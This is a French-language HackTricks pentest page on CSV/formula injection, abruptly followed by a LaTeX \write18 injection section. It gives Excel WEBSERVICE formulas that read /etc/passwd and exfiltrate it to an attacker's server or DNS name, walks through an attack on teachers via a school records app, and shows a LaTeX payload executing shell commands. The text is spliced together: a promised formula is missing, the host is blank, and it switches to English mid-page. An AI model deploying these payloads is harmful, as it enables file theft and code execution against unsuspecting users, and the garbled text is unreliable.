* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Si votre **entrée** est **réfléchie** dans des fichiers **CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pouvez peut-être mettre des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** dans la feuille Excel.
De nos jours, **Excel alertera** (plusieurs fois) l'utilisateur lorsqu'un élément est chargé depuis l'extérieur d'Excel afin de l'empêcher de réaliser des actions malveillantes. Par conséquent, un effort particulier doit être appliqué à l'ingénierie sociale pour la charge utile finale.
**L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des demandes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
Prenons un scénario d'attaque du système de gestion des dossiers étudiants d'une école. L'application permet aux enseignants d'entrer les détails des étudiants de l'école. L'attaquant accède à l'application et veut que tous les enseignants utilisant l'application soient compromis. L'attaquant essaie donc de réaliser une attaque d'injection CSV via l'application web.\
L'attaquant doit voler les détails d'autres étudiants. L'attaquant utilise donc la formule Hyperlien et l'entre pendant la saisie des détails de l'étudiant.
Pour que cet exemple fonctionne, il est **nécessaire d'activer la configuration suivante**:\
Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques\
ou l'utilisation d'une **ancienne version d'Excel**.
La bonne nouvelle est que **cette charge utile est exécutée automatiquement lorsque le fichier est ouvert** (si l'utilisateur accepte les avertissements).
* Exfiltrer plus d'une ligne : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltration DNS : `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
*‘file:///etc/passwd’#$passwd.A19 – Lira la 19ème ligne du fichier local /etc/passwd
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Encode l'URL des données retournées
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similaire à substring, lit les données du 1er caractère au 41ème - une façon très pratique de limiter la longueur des noms d'hôtes DNS (limite de 254 caractères pour FQDN et 63 caractères pour un label, c'est-à-dire un sous-domaine)
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – Remplace toutes les instances de % (le caractère spécial de l'encodage URL) par un tiret - cela garantit que seuls des caractères DNS valides sont utilisés
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – Concatène la sortie du fichier (après que le traitement ci-dessus ait eu lieu) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
* WEBSERVICE – Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les journaux (ou exécuter tcpdump etc.) sur le serveur de noms autoritaire DNS pour lequel nous avons le contrôle
* **`--no-shell-escape`** : **Désactive** la construction `\write18{command}`, même si elle est activée dans le fichier texmf.cnf.
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble de \*\*commandes prédéfinies** sûres (\*\*Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement désactivée pour des raisons de sécurité.
An attacker can inject arbitrary commands in the `write18` command. For example, the following payload will execute the `id` command and write the output to `/tmp/output`:
```latex
\immediate\write18{id > /tmp/output}
```
#### Mitigation
- Avoid using the `write18` command.
- If it is necessary to use it, sanitize any user input before using it in the command.
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).